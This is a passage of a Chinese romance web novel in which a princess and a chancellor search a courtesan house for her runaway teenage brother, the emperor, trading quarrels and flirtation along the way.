“找药!”那人用后脑勺扔了两个字给她。
“找什么药?先找点茶来好不好,我为了帮你,口都说干了,讨口水喝,行不?”
“先找药!”
晏西棠突然又转身回来,两步逼到她跟前,猫腰下来,虚指在她额角上,“这里……都青肿了,怕是把脑子砸坏了吧?”
说罢,这才钻进内室找药去。
夜鸣珂独坐席上,那少息清静间,才反应过来,他是在骂她呢!
说她刚才所点鸳鸯,是脑子被砸坏了的缘故。
14. 正月十九.第四回合
后来,长公主殿下还是先喝上了茶。
那人见她一副渴得坐立不安的样子,便让良笙火速端了一壶陈皮茶来,像是早就煮好的。
用白玉瓷的小碗杯盛来,褐红清透的温凉茶汤,隐隐陈皮药香。
“陈皮,理气和中……”那人笑说。
“……”夜鸣珂就给他瞪回去。怕他又是在笑她虚火冲出鼻血,阴阳不调的茬儿。
正要挑三拣四一下,想让他换点清茶来。
“夜里少喝些茶,不好……”晏西棠又是一句,竟像是做了她肚子里的虫。
平日夜里加班加点看文书,她是喜欢喝茶来着。
算了,客随主便。
“……”夜鸣珂终是闭嘴,接过那陈皮汤,捧着喝了,一连喝了三小碗,倒也确实生津解渴。
那人这才又将那青釉的小药瓶递过来,指指额角,让她上药。
夜鸣珂接过药瓶,伸指蘸了点点,往脸上一比,却没好气地说来,“拿面镜子来啊!……我看不到!”
晏西棠就一声嗤笑,起身绕过小案,却不是去找镜子,而是直接抓过她的手指,比着就往那额角上摁。
重重地摁上,再又轻轻地揉。
有种粗暴的……温柔。
女郎少许挣扎,也就由着他了。
盖因那清凉药膏入肤,立刻慰藉了青肿疼痛。
一时间,有种怪怪的静默。
那轻晃在她脸面前的广袖,还有眼皮下锦带缠紧的腰身,有种触手可及的近。
“你找个镜子来,我自己来吧……”夜鸣珂终觉有些不适。
“臣太穷了,家里没有小铜镜……”那人依旧捉着她的手,轻轻地涂抹。
“呵,政事堂宰执的俸禄,不少吧?”
“是不少,但也不怎么够用。”
“你什么花销这么大?”
“……”晏西棠喉头哂笑,却不答她,只管捉住她手,又蘸了些药膏,再来抹。
就只得再找些话来说,消除那近在咫尺的囧囧心慌。
“拿去置田买宅了?”
她继续八卦,要刨根问底。大兴的官员们,敛了财,皆喜买田置地。
“不是!”
“那是捐了寺庙香火?”亦有那信佛要积功德的。
“不是!”
“那是……喝花酒喝光了?”
大兴官员狎妓之风兴盛。东华门外的青楼,还有这旁边平康坊的教坊,都是些好去处。
“不是!”晏西棠已有些哭笑不得。
“那是花在何处了?”夜鸣珂偏了头,越发地好奇。
“接济了些赴京赶考的穷书生……”
那人叹笑说来。同时亦撤了手,总不能一直这样揉下去吧。
却也不挪窝,将就直身跽坐在她面前,将她凝看。
“……”夜鸣珂侧目盈笑,本也觉得他这义举难得,却也吝啬于附和称赞,反倒还想损他几句:
“啧啧,既不敛财,不信佛,又不好色,那你做官,为了什么?”
说罢,又觉得自己问得颇有些道理。她父皇曾说过,不怕朝臣好财好色,就怕朝官无欲无求。贪财好色的人,好满足,而那无欲则刚之人,贪图的东西,兴许更吓人。
不觉就微微地倾身过去,妖妖娇娇地问他:
“别告诉我,是为这江山社稷,天下苍生……”
“随你怎么说……”
那人却略略侧身去躲她,且还带了些正色,“我只知道,那些穷困学子,我今日接济他一餐饭,一炉火,说不定他日成就的,就是一代功臣名将!公主也别告诉我,这诺大江山与万千子民,不需要这样的人!”
他只要开始一身正气地来教训,她是不会继续与他纠缠的。
故而闭嘴,抱臂旁顾。
眼珠子骨碌一转,看见小案边上那冷啾啾的炭火小炉,方觉冷意上身,又忍不住嘀咕:
“接济别人炭火,也不至于把自己的炭火钱给省了吧……这屋子里坐久了,好冷……”
“饱暖思□□!”
晏西棠尚是那一脸正色。
可还是转身,从小案腿边拉出一只暖手的锦囊小铜炉出来,再拿小钳在那炭火中取出一块烧得红的,放进去,递与她抱着。
,
“……”夜鸣珂接过,暖了手,却还是堵不住嘴,想了想,还是摇头:“反正,就是太抠了!”
“……”晏西棠瞥她一眼,懒得跟她计较了。坐到小案对边去,又拿起那未阅完的文章,继续。
“你瞧,原本这么阔气的宅子,也太空了!也不多找几个奴仆,多置办些家什……”长公主殿下却是意犹未尽。
“置不起!”那人低头阅文,只分一点神来,敷衍她。
“我可听说,晏家先祖可是前朝皇商,晏氏是云泽的隐世大族,你……不至于这么穷吗?”夜鸣珂又仰头眯眼,论起他的背景来。
朝中重臣,出身来历,可都得考核。而且,她记性也还不错。
“那是八辈子之前的事情,到我这辈,就是这么穷!”晏西棠还是堵她。
除了口吐莲花,把人淹死的本领,这种一句话把天聊死的本事,晏大人也是很擅长的。
“……”堵得女郎一个嘟嘴,还真的有些哽色。
他抬眸撇了一眼,像是不忍,终是给她递了一句话,“要不,公主私下接济我一点?”
夜鸣珂就又来了劲头,倾身抵胸在那小案边上,凑脸过去,眼中晶晶亮地,数着那触目的浓秀眉睫,得意地笑说:
“就说啊,扶疏嫁给你?如何?皇家公主的嫁妆,可不是一般的多……”
她还是想试一下,刚才那个馊主意。
“那算了!”晏西棠一脸的冷淡。
“真的……不再考虑一下?”夜鸣珂却不死心。
“我说了!不要!”那人就提了音量,脸色有些发沉。
“不要就不要嘛,凶什么凶!”女郎终是叽叽歪歪地嘀咕了,作罢。末了,还有些莞尔。
其实,今日见他拒绝容语微,又拒绝扶疏,她心头,竟有种莫名的轻松。
晏西棠想了想,又叮嘱她一句:“以后,公主也莫要瞎操这份闲心!”
“……”夜鸣珂讪讪地,笑着点了点头,可一转眼,还是在继续操那闲心,“你现在这个样子,你家里不着急吗?你母亲,啊,不着急着抱孙子吗?”
“……她急也没用!”晏西棠的脸色,更板了些。
可偏偏,他越板脸,她越开心。琳琅长公主今夜的心情,越发放晴。
那如豆灯光下,红木小案对面,两人本就是鼻息可闻的凑近,没了庄肃规矩,女郎就脑子犯抽,口不择言,问了个没下线的问题:
“那你这长期……没个女人,又不逛青楼,那可是怎么……办的?”
那些外放的京官,驻京的驿臣,但凡是异地做官,又不能将家眷带身边的,皆喜包养妓子,或是私养小妾,朝廷也是睁只眼闭只眼地,包容了。不然,那些两脚的畜生,就要大呼难耐,不领这外派的差事。
“……”晏西棠眼神凌厉,抬眸一扫,终于将她彻底止住。<
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p>就是一副不愿让她闻其详的模样。
“……”夜鸣珂便消停了,抬手抓过案上一篇赶考学子的文章,认真去读。
一时无言,只听见灯中噼啪声响。
那种感觉,有些怪怪的,静谧而美好。
她第一次来他家中,尚在一边坐着呢,他却兀自去做他自己的事情。有些嫌她吵,但也不开口逐客。横眉冷对她的聒噪,却又有种隐隐在纵容的诱惑。
就是这种不当她是贵客的熟络,还让她有些舍不得走了。
油然生出一种依恋。
遂四平八稳地,在那地席上,坐得生根,也不知脑中一片浮云,想了些什么。
等回了神,看清楚手中那份文章的内容时,又开始惊得嗔目,咂舌呼叫:
“这个……也是给赶考的学子改的文章?一朝别后,两地相悬。只说是三四月……”
她念了两句就停下了,那是一首著名的,古传的《怨郎诗》。
没有哪个赶考的学子,吃饱了撑着,没事写这种情诗来玩儿。
晏西棠倒是不惊,头也不抬,轻描淡述地就承认了:“这个啊,是我帮云韶的一个花娘写的诗……”
“我就说嘛,你还是在青楼有相好的不是?”
“不是我的相好,这个花娘,被一个来京中做买卖的北地商客看上了,那人本是许了娶她,还让她怀了孩儿,可那商客却没了音讯。那日她遇见我,就托我替她写封信去问一问,我想了一下,就准备把这怨郎诗给她附在信中去……”
“你不还是要上青楼,才结识得了这花娘子啊?”
“也就是有时候,被同僚拉着,去喝几口花酒而已……”
“我就说你的俸禄都拿去喝花酒了吧,你刚才还不承认!”
夜鸣珂笑得娇呼,抬手将那信纸往案上一拍,双手撑案,猛地直身跪起。
就像终是逮住了一条狐狸尾巴!激动得跳起。
哪知那一起身时,他也不知为何,一个直身抬头——
“咚”地一声闷响。两人碰了头。
将将擦了药的那处青肿额角,再次碰撞,疼得她眼泪都出来了。
委屈地坐回席上,呜呜地哭了:“你……唔……”
要怪就怪那小案太窄,他的头太硬。
晏西棠赶紧绕过来,拉下她的手,仔细看了看,便递嘴来吹。
“不痛不痛,吹一吹……”
拿她当个小孩儿来哄。
温热气息吹来,那阵痛意渐过,抬起水眸,却一头撞进那深瞳里。
男子面色温柔,一双桃花眼中,似乎满满的,装的都是她。
且还似乎听见,那菱角薄唇间,绵绵地吐了一声轻唤:
“玉可……”
唤的是她闺中小名,像是想要与她说些正经话。
霎时恍惚,仿佛要尽弃前嫌,回到初时。
“公子,小常公公有急事,来禀公主……”
良笙的声音,再一次恰到好处地,在门外响起。
“……”晏西棠脸都在发绿。
“进来!说吧!”夜鸣珂转头,冲着门外扬声吩咐。意思是不避晏西棠。
常小山两步跨进房中,两句话就说清楚了那急事:
“回殿下,御前的侍卫们,把陛下……把陛下给跟丢了……”
“什么时候的事?”夜鸣珂问。
“半个时辰前,就是在东市上,他们找了小半个时辰,都没找到,这才慌了,硬着头皮来禀殿下……”
夜鸣珂心头一急,囫囵爬起来,就往屋外冲去。
15. 正月十九.第五回合
从某种程度上,青岚是她的命。
夜鸣珂是这么认为的。
自从那年母亲自尽,留下遗言要她保护好弟弟。她便心无旁骛,竭尽全力,保他太子之位,扶他登这皇位,帮他理这江山。然后,还得一路陪他长大,看着他成年,娶亲,生子,亲政……一直要到能够放心地把皇权交给他,然后再把他交到一个靠谱的女人手里,她才会歇下这份操心,感觉自己的圆满。
所以,如果在这半途中,皇帝有什么差池,她都不知道自己能不能……承受得住。
遂在那相府回廊中急行。常小山一路小跑着,才能勉强跟上。
问他细节,他也说不上。那群愣头愣脑的侍卫,尚在门上等着,还得走到门上去细问。
穿廊过庭的,半响走不出去,方觉这后花园子,还真不是一般的大。
晏西棠抱着她的雪裘披风,从后头快步追来。
一个急刹,转身挡她面前,再一个抬臂绕她头顶,劈头就将她的披风,给她围过来,见她要不耐开口,急忙出言止住:
“你的衣服忘拿了,外面冷,先披上……”
又抬手给她系那颈间系带。
宽大手掌,修长指节,在她眼皮底下,利落翻飞,便将那宽宽长长的锦带,系成了一个稳稳的蝴蝶结,口中亦在稳稳地安慰:
“莫急!”
夜鸣珂却绕过他,继续开走。
“要是被人盯上了,怎么办?”她控制不住,往最坏的可能想。
这诺大的皇城里,她与青岚零落伶仃,可姓夜的皇族宗亲,却不少,旁系别支的各种野心,也不少。说不清,那暗地里,会有多少双眼睛在盯着……
她今日在朝议上,可是说了要皇帝出宫来看晏西棠的。此刻想来,真是大意。
“也许是自己贪玩儿,故意开溜的呢?”晏西棠急步跟上,却是引着她往最好的境地想。
“……”夜鸣珂倒是认真地想了想,就摇头,“我都许他到市集上玩了,他没必要还要溜啊……”
又觉得自己许他到市集玩耍的主意,真是犯抽。
“那也未必……”晏西棠亦笑着摇头,有些不以为然。
“就算是故意溜走,可他就是个小儿,这半夜里,要是遇到坏人,怎么办?”长姐如母,她就一直拿那弟弟当个诸事都需要照顾的小儿。
“不小了吧?搁在民间,十四五岁的富家公子,也都可以娶通房了!”晏西棠还在跟她掰。
夜鸣珂便突然止步,沉了颜色,转头看向身边之人:“我心头急,你莫跟我斗嘴,好不好?!”
说是沉颜正色,却又带些软软的央求。
一改平时那精明沉着,浑身防备。
心头有丢不起的东西,才会有如此慌乱的感觉,站也站不稳,定也定不了神。
那人也止步,借着廊下笼灯,认真将她凝看少息,伸出手掌,捉过她袖中小手,重重的捏了,笑着说来:
“走吧,我陪公主去找!”
一副沉着轻缓的作派,一点儿也不急。
夜鸣珂心想,在这种时刻,有个不着急的人陪着,有只有力的手掌牵着,总是好的。
遂暂且放下对他的膈应,任凭他牵着手,出府去。
∝∝∝
到了门房上,听那殿前司的听枫,一通禀说。
原来,小皇帝探了晏西棠出来,就到了下面东市上,东看看,西瞧瞧地,走了两圈,却是一副百无聊赖的样子,还问他:
“听枫,是不是朕去了哪里,做了什么,你回头都会与朕的皇姐禀报?”
那听枫是个老实人,也就老老实实地回答,是的。
然后,皇帝也没多说什么。依旧转啊转的,又支使他们,东买买,西买买。就在那一通晕头转向,手忙脚乱的乱买之后,他们就发现,皇帝不见了,捎带着他身边的随侍小太监一心,也不见了。
众侍卫急忙一通寻找,却不见踪影,亦着人回宫门去探过,那天子也没回去。
这才急了,前来问她要主意。
“这事情是属下失职,敢问殿下是否出动殿前司?……容属下找到陛下,确认安然无恙,再来领罪!”那听枫跪了地,垂了首。
夜鸣珂抿着唇。尚在考虑,要不要这般大费周章。
这夜里出动禁军,势必引起惊乱与猜测。
“不用!”
旁边的相公大人却一言就把这主给做了,又招呼着他自己的小厮:“良笙,带路,去平康坊云韶府。”
说吧,拉着夜鸣珂,就上了阶下马车。
待那车马启动,众人出巷。
那人还一直将她的手攥住,且还拿到他膝上搁着,若无其事。
夜鸣珂却有些反应过来了,一边抽手,一边问他:
“你……知道青岚在哪里?”
直直地,就要带她去平康坊云韶府寻人。
“我……不知,只是姑且先试一试吧。”晏西棠否认。
“你怎么知道的?”夜鸣珂却已是不信,一边使力抽手。
那云韶府,可是京中出了名的神秘逍遥处,前朝的教坊司,今日的官妓楼。
“……先找陛下吧。”晏西棠死死地攥着不松,一边却带着软软的笑意,跟她卖关子,“等找到陛下,再与公主细说,好么?”
夜鸣珂挣不脱,加之还没找到人,心头也急,便暂且消停了,只抛了个眼刀子,警告他:
“到时候,你最好给我说清楚!”
虽然,暗夜
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车中,也不怎么看得清表情神色。
只有那人喉头里一声低吟,不知是在笑她,还是在应她。
∝∝∝
出了那一路皆是高门大宅的崇仁坊,过一条东市大街,再径直往南下去,便是平康坊。
七弯八拐,入一条深幽巷子,至一座不起眼的府邸,便是那低调而华丽的云韶府。
前朝的教坊之所,今日的高门妓楼,里面的歌姬舞妓,也包括些男倌人,皆是色艺双绝。出入恩客,皆是些虚名假姓,不愿露了身份的达官显贵,自然不愿太过招摇伸张。
晏西棠要留她在车上,说他先进去找找,若是在,就把人给带出来。
夜鸣珂却跟着跳下车来,执意要进去。
“公主确定……要进去?”晏西棠抬头看了看那寂静门洞,再侧头看着她,慢悠悠地,确认了一遍。
“怎么,我进不得吗?”夜鸣珂也跟着抬头,去看那门上幽红灯笼。
不就是处花楼吗?又不是什么龙潭虎穴。
“……进得!”晏西棠沉吟了少息,终是赔笑,服了软。
“那就进去吧!”夜鸣珂抬步,就上了阶。
她不亲自进去看看,如何放心?
她大约也已经猜到晏西棠跟那小子之间的猫腻了。
云韶府这种地方,没有晏西棠的怂恿,那十四岁都还不到的毛头小子,怎么想得到要来?
况且,没有晏西棠的指路与引荐,她那个长居深宫的皇弟,怎么找得来?怎么进得去?
这个传说中大名鼎鼎的地方,藏于深巷的隐匿,只接熟客的规矩,也是大名鼎鼎。
所以,小皇帝一闪人,他晏西棠立马就知道,要到这里来找。这不是他在搞鬼,还能是谁?
琳琅长公主心头,已经很想把晏西棠摁到地上踩了。
只是,还没找到人,她隐忍着不发而已。
那人两步跟上来,又来拉她的手。
夜鸣珂一缩,瞪了他一眼。还拉上瘾了!
还有,身后,良笙,常小山,听枫一众,都还跟着的呢。
“还是牵着吧,省得等下麻烦……”晏西棠却笑着,强硬地,将她的手拉了过去。
“什么麻烦?”女郎不耐地问他。
讨厌他说话总是只说一半,留一半给她猜。
“……”晏西棠不答,只管拉着她,入那洞开的朱门,绕过影壁,穿过中庭,进一花窗回廊。
远远地,就看见那尽头处,有一俏丽如妖的女子,立在那里,一副恭候多时的热情。
那女子举目看见晏西棠,便是水眸汪汪,软软娇娇地,一个万福礼:
“大人有些时日未来了,今夜怎的好兴致,想起来云韶?还带了夫人来……”
16. 正月十九.第六回合
“我不是……”夜鸣珂当即挑眉,要脱口否认。
谁是他夫人了?!
晏西棠赶紧一把拉住她,几近拉到了胸怀里。一边举目点头,朝着远处那女子示意,一边贴身附耳,笑着与怀中人低语:
“进这云韶府的女眷,只有两种。第一种,是些豪门寡妇,自己来找小倌的;还有一种呢,就是来找勾引她夫君的狐狸精算账的……”
“……”夜鸣珂听得侧目。通常,这种非此即彼的封闭选择,都是个圈套。
可那人贴身而立,温热男子气息,将她笼得紧紧的,又是继续窃窃地私语,让她没有太多思考的空隙:
“你这样子跟我一起进来,自然不是第一种……”
“……”女郎就有些迷离,顺着他的话想了想,不是第一种,难道是第二种,来找勾引她夫君的狐狸精算账的?
不过,她亦还有那么一丝清明,她为什么非得是那两种,就不能是单纯进来找人的?
遂睁了大眼,有些钝钝地,辩解:“我是来找我弟弟的,可不是来找你的狐狸精的!”
她就是不想入那坑,假装什么找狐狸精算账的母老虎!
“迟了……”晏西棠笑说。
“你存心的?”女郎磨牙切齿。此刻才恍然,她说为何要牵着她的手进来呢!现在还将她牵着!
“是公主自己要进来的!”那人还她一句。
“……”女郎恼了,挣脱了手,要跳开去。
那人手快,换手一拉,又腾了手臂,从她后背一揽,就将她囫囵捉住。看似虚虚地抱着呢,实则制得她动弹不得,又是一个低头附耳,警告她莫乱挣扎:
“她们不欢迎陌生人,我不牵着你,你是要被撵的!”
“……”夜鸣珂最是恼恨这种掣肘,碍于不远处那笑盈盈看过来的女子,嘴上不说,心头却已是怒火中烧,蹭蹭旺腾。
被他箍得动不了,可脚下却是能动的,遂抬起一脚,给他重重地踩到鞋面上,再全身重量放上去,一个磨蹭。
痛得那人嘶声抽气,忙不迭垂头来咬她耳朵:“莫发狠……莫发狠……她们最擅察言观色了,若是见着夫妻恩爱,她们也会恭敬客气地相待,若是见着主顾受气,她们便要想些法子,让人难堪的……”
大意是说,云韶的花娘们,对这些进府来找麻烦的夫人们的态度,全看那男子的态度。
“……”夜鸣珂转头,仰面,凝目,狠狠地,看进头顶侧上,男子的幽深瞳色中。
突然觉得,那廊下笼灯映照下,像是从未认识过晏西棠一般。一入了这烟花柳巷之地,哪里还有什么清贵宰执样,简直就是个拐弯抹角贪她便宜的斯文流氓!
那人直直地对上她的凝看,眸色中依旧是笑意流光:
“你若是想要见识一下,这些花娘让人难堪的本事,现在就可以跟我翻脸!”
“……这算是威胁吗?”
“不是!……显得恩爱些,啊?”
“谁跟你恩爱了!”女郎抬手,忍不住就往那光净玉面上掐。
“莫闹凶了,漏了破绽,泄了身份……”男子赶紧捉住她手指,往外掰。
敢情,拉她装着是夫人,倒还成了替她遮掩身份了!
“……”夜鸣珂自然是不依,依旧横眉冷目,想要翻手来掐他。
“我让陛下来时,说的是我妻弟……”终是说了那实话。
可不得装夫人不是?
“你!……”女郎坐实了猜想,终于,彻底愤怒,几欲腾空而起。
“找人要紧,先找人……”
“……”
两人一时就那么扭扭打打地,黏糊在一起,理也理不清,不得利索。
远远地瞧着,那回廊入口处,就是一对璧人,相偎相依,旁若无人,窃窃私语,打情骂俏。
像是很恩爱,又还像是有些什么别扭。
那边上恭迎的女子一张笑脸盈了许久,终是等得无奈了,上前两步,一个欠身行礼,亮声说话:
“天地良心,夫人手下留情……”
只道又是一个来追究夫君花事的当家主母。
“……”夜鸣珂听得,怒及反笑。呵呵哼了两声,碍于旁人,暂且按捺住那心头鬼火,撤了手。
却像极了那跟夫君闹别扭的夫人。
那女子趁机,又继续来劝,妖妖软软的声音,绵绵地说来:
“大人来这云韶,就只是喝点花酒而已,且还都是跟其他一些大人们一起来的。这云韶的姐妹们,倒是喜欢大人得紧,倒贴都愿意的,可是啊,大人就跟柳下惠一样,对咱这里的姑娘们没那心思,姐妹们也没少伤心的……”
夜鸣珂听得嗤笑,这是哪门子的事情?
晏西棠却突然又偏头附耳过来,悠悠地低语:“怎样?信了吧?我说我只是来喝花酒的吧?”
竟然是想趁机证明一下自己的清白。
“与——我——无——关!”夜鸣珂极力别着头,侧开身去,与他怒对,却又压着声音磨牙。
两人又像是一阵私密咬耳。
那女子就看得眉眼弯弯,笑得呵呵的,又说了:
“今日瞧着夫人,卿若也就明白了,为何大人对咱们这里的姑娘没那心思了。有夫人这样标致的人物在家里,还来这云韶做什么?照我说啊,以后,大人这花酒也别喝了,我们不欢迎您了……”
“这是在夸你呢……”晏西棠又来,笑得像只狐狸。
不等女郎发作,他又赶紧扬了声量:“卿若,带我们去见今夜来的小公子,他是我夫人的弟弟。”
终于说到了正事。
夜
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鸣珂这下终于暂且消停,等那叫卿若的女子说话。
“哦,卿若明白了,敢情,夫人不是生大人来喝花酒的气,而是大人把弟弟给引到云韶来,惹夫人生气了?”
那卿若说得客气又直白,一边说,一边抬手引路,要里边请。
夜鸣珂不理会那花娘有意无意的挑衅,当仁不让,举步就走,一边在嘴角渗了一句话出来:
“他若有事,看我不把这教坊给铲平了……”
本是说给晏西棠听的,那卿若却在一边笑得答:
“小公子也就是喝了一点……花酒而已,没事儿的。”
“一点是多少?”
“呃……一壶吧,他喜欢云韶的酒呢,喝完一壶,还要,没等那添的酒送到,就……就醉倒了,这会儿正在春眠阁里睡着呢。”
∝∝∝
到了那府邸深处,春眠阁。
果然,那小子四仰八叉地躺一罗汉床上,睡着呢。
满面酡红,醉得一副憨像,睡得跟猪一般熟,拍也拍不醒,推也推不动。
小太监一心在一旁守着,本就有些坐立不安的躁动,见着夜鸣珂进来,更是一下子软了手脚,吓得趴在地上,爬都爬不起来。
只得让人去把听枫叫了进来,把小皇帝背起来,让直接送回宫去。
晏西棠见着人找到了,事也了了,便要招呼着她也一起走。
“你留下!”女郎站着不动,突然一声冷凉低沉的吆喝。
晏西棠转头,看着她,有些惊诧。
那卿若却是个眼力劲儿特好的人,知道这是要就地算账了。
也许是这就地厮打的事情见多了。
赶紧打走手势,赶着所有人撤退,自己也往那阁子外头退,退出去,掩上了门。
霎时,又像是想起什么,复又吱嘎推门进来,抱走罗汉榻边一个插银柳的梅瓶,一边抱着往外走,一边还笑着念叨着:
“这是个价值连城的古董,我得抱走……”
室中两人看得出奇,不明就里。
卿若退至门边,才解释了:
“夫人还是要手下留情些,将这屋子里的东西弄坏了打碎了,这赔偿的费用呢,还是得你家夫君出的。前些日子,就是年节里,才有位夫人,把这云韶给砸了一遍,还打伤了一位姑娘……赔钱赔得她夫君啊,可心痛了……”
“你放心,我就算把云韶给砸了,他也赔得起!”夜鸣珂对那女子笑说。
那卿若似乎也是个有趣的人,她也就不跟她多摆脸色了。
“那……夫人请便……”卿若比了个请的姿势,两步退出阁子,嘎吱关了门。
留下两人,面对面。
晏西棠一脸的讪笑,看着摩拳擦掌的女郎,出言就是示弱:
“手下留情,啊?”
17. 正月十九.第七回合
小皇帝被听枫背出云韶府,才搁到马车上,就醒了。
本是酣醉未尽,迷迷糊糊地,随口问了听枫一句,怎么找到他的。
听枫老实地答他,不是属下找到的,是长公主殿下找到的。
小皇帝的酒,就全部醒了。
骨碌翻身爬起来,又几句话问明情况,抬手几把干洗脸,确认清楚自己的危险处境,便一溜烟跳下马车,复又冲进那云韶府去。
不行,得自救!
不能等着回宫后,被那姐姐抓住把柄来教训。少不得又要拿着戒尺来打,甚至,拳脚功夫来伺候。
外间只道他皇姐端庄得体,却不知那姐姐暴躁起来,可厉害了。打人又狠又准,也不曾有何拜师学艺,可能就是在这些年对付他的过程中,练出来的。
反正,他是没少挨过。
遂一边往那春眠阁里跑,一边在心头顺了一遍今日这事情。
又深感晏西棠的老谋深算,先见之明。
且说那下午酉时,他被遣出宫探病,到了晏西棠府上,三言两语问候过后,见着那人精神抖擞,不像是卧病下不了床的样子,这探病,也就算完毕了,遂请教到:
“晏师傅,皇姐许朕可到市集上玩到戌时,这下面东市上可有什么好去处?”
首辅宰执,都兼封帝师太傅,每月,亦要入宫给天子讲学一次。所以,他要称晏西棠一声师傅。
“那市集街面上,皆是些吃喝玩乐好去处啊……”
“那些……都是些小孩子的玩意儿……”那些吃吃喝喝的,他有些不屑了。他长大了,这两年,突然蹿了个头,长了身板。半夜里,都有些绮梦了,晨间醒来,都得让宫女给换床单。
“陛下想玩些……什么不一样的?”
“就是……就是……”他憋一脸的红,却不好意思说。
“那东市里的花巷,太吵,也太乱了,陛下莫去。平康坊里有个云韶府,倒还清静,里面有全帝都最好的花娘,最好的酒……”敢情,太傅大人是懂得的。
“……”他听得眼神晶亮,蠢蠢欲动。连他师傅这种风雅出了名的人,都觉得不错的地方,那一定是不错的!
晏西棠便给他草草画了张平康坊里面的舆图,递过来:
“那云韶,本是前朝教坊,里面自然也还有最好的歌舞乐谱,丝竹乐器。价钱合适,他们也会出售的。我前些日子在那里定了一张五弦,琴名“步松月”,有劳陛下顺便帮我取一下吧。里面有个叫卿若的,你去找她,就说是子虚的弟弟,来取琴的,她自然会好生招待……”
刹那功夫,连上门的借口都替他想好了。
这个晏师傅,就是上道。
遂乐颠颠地,撇了听枫一众凡事都要向他皇姐禀报的尾巴,上了这云韶府。
先前来时,还只当那取琴,就是晏西棠给他寻的一个入云韶府的借口,这会儿,方是懂得了这替他取琴的借口之妙。
刚才喝酒时,那张琴,那个卿若也是给他取来,放在了旁边的。
所以,此刻,只待他折回春眠阁去,把这取琴的差事做完。便可在他皇姐面前,做些分辩。
今日之事,可就不是他乱跑烟花之地,而是被晏师傅使嘴来云韶取张琴,顺便喝了几口酒而已,总不至于被揍扁吧。
∝∝∝
那云韶府里,七弯八拐,各处阁室都安置得隐蔽幽静。不过,小皇帝记性好,走过一次,也就还记得,几个弯拐,寻至那春眠阁边上。
却先见着那个叫卿若的,抱着个梅瓶银柳,立在门边的廊下,挤眉弄眼的。
“卿若姐姐……”小皇帝嘴甜,见过的漂亮女子,都可以叫姐姐。
“小公子……怎的回来了?”卿若见着他,还有他身后一路追来的听枫和一心,有些惊讶,压着声音招呼。
“我忘了拿琴……”少年现在浑身都只记得,他是来取琴的。
说着便要去推门。
“哎,里头打起来了……”卿若赶紧止他,“你姐姐和姐夫……”
“姐姐……和姐夫?……”小皇帝一头雾水,却霎时就明白了,遂忍一脸的笑,一边缩手,一边煞有介事地点头,“哦……”
又见卿若抱着的那个插银柳的梅瓶,似乎是那春眠阁中之物,便有些疑惑:
“你把这花瓶抱出来做什么?”
“这可是上百年的青花,可别打坏了……”
似乎为了呼应她的小心惜物,依稀听得里头,有重物坠落的声音,拼拼砰砰的,还有人肉砸地的闷响和痛哼。
小皇帝听得肉跳,亦跟着瞠目,跟着惜物起来:
“那你为何不把那张琴也带出来,那可比这花瓶值钱多了!”
上古瑶琴,可比百年青花,值价多了。
“那是都已经卖出去了的东西,我为什么还要保护?”卿若水眸一斜,笑着答他,一边把手上梅瓶往怀抱中挪紧些。把这你的,我的,分得十分清楚。
下一瞬,又是一个呼应,屋子里面,传来一阵五弦乱声,像是那乱打拳脚的人,不小心碰撞或是撩拨了琴弦。
小皇帝终是点点头,伸手将门一推,挺身进去。
他要去救下那张琴。亦还要等着拿那张琴来救他呢。
一脚迈进门,打眼一扫,再两眼看清楚,那扭打在地上的两人。
少年突然觉得,有点非礼勿视的抱歉。
赶紧抬手捂脸,再张开指缝,将那地上光景仔细地瞧。
一边瞧着,一边侧身挪步,绕过地上障碍,去取那罗汉榻边几案上搁的五弦琴。
一边尚在心头偷着乐了一把。
终于,找到一个姐姐的克星了。
终于找到一个可以翻身把他的皇姐压在身下动弹不得的人了。
甚至觉得,此时此刻,是他最崇拜晏西棠的时候。比在资善学宫听他讲经史的崇拜,还要多几分。
地上两人,齐齐转头看着他,有些惊诧,有些疑惑,却又一时都不知该与他说什么。
小皇帝赶紧自我解释了:
“哦……我进来把琴拿出去,免得碰坏了……”
说着,便抱起几上瑶琴,小心地撤退,还有意无意地,念叨给他皇姐听:
“这步松月,可是上古瑶琴,晏师傅花了千金,等了大半年,才买到手的。老师遣我今夜前来云韶取这张琴,学生可得把它保护好了,方是不辱使命。”
“……”地上两人看着他,仍是有些懵懂。
小皇帝索性猫腰下来,冲着地上被制压的女郎,说到:
“姐姐,我今夜来云韶,就只是来替老师取琴的,其他的,可什么都没做……嗯,除了喝了一壶酒,那酒也确实太好喝了……所以,你要打,就打
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晏师傅啊,是他叫我来的……”
这种时候,他不介意把晏西棠拉来垫一垫,反正,看样子,她姐姐是翻不过身,打不过他所崇拜的晏师傅了。
见着那被制在地上的姐姐,一个挣扎,又有些怒气上头的样子,他赶紧起身:
“你们……继续啊?打扰了……我先回去了,明早还要上学呢……”
一溜烟儿退出阁子,掩了门,尚在外头跳着脚,扯着嗓门地喊:
“姐夫让着点我姐啊,让她在这里把气出完,后头回家就不会打我了!……”
喊得边上卿若一阵吃吃的娇笑。
侍卫听枫和小太监一心则是一脸的憋忍,心道,这几位可是玩得有些大了。
∝∝∝
那小皇帝退出去后,晏西棠仍是不撤手。
虎狼扑羊之姿,雄踞在女郎身上。双腿压身,双手制腕,还把个身躯都压下去,把人按得不能动弹。
“你压着我了!”夜鸣珂嚷嚷到。自以为很威风,其实就跟猫儿被掐了脖子的嘤咛一般。
“……”男子略微抬起身躯,让她可以正常呼吸。
“你放手,让我起来!”女郎又喊。
“先说好不打了,我再放!”男子却垂头,在她耳边,笑着要求确认。
“不打了……”女郎终是歇了怒气。
反正,刚才,一通拳打脚踢,也没少招呼在他身上,他也没怎么还手,笑吟吟地,就挨了。就是后头被她按在地上,像是有些难耐,这才翻身把她给压了。
他一来劲,她也就使不上力了,跟个被擒的小鸡子似的。
不过,力道用完,她的气也出得差不多了。
晏西棠僵在她身上,顿了少息,像是有些腻腻的不舍,一个深深抽气,终是撤了禁制,放她起来。
一边转着手腕,斜眸瞄她:“看着细条细条的,怎的蛮劲儿这么大……”
夜鸣珂坐起,侧眸瞪他,心里亦怼了一句,看着清瘦清瘦的,怎的一身肌肉跟铁板似的,打得她手疼。
却没把这腹诽怼出口,只是转而去问那张价值千金的琴:
“你不是连炭火都舍不得买吗?怎么还舍得买那么贵的琴?”
“自己用自然是舍不得,买来送人的……”晏西棠悠悠地笑。
“哦……”
何人如此受他珍视,能够让他这么抠的人,花千金买琴相赠。
“她下月过生,算是生辰贺礼吧……”
“哦……”
夜鸣珂听得,突然有些意兴阑珊,爬起身来,敛了敛衣裙,就往外走。
她没有心思再问下去了。
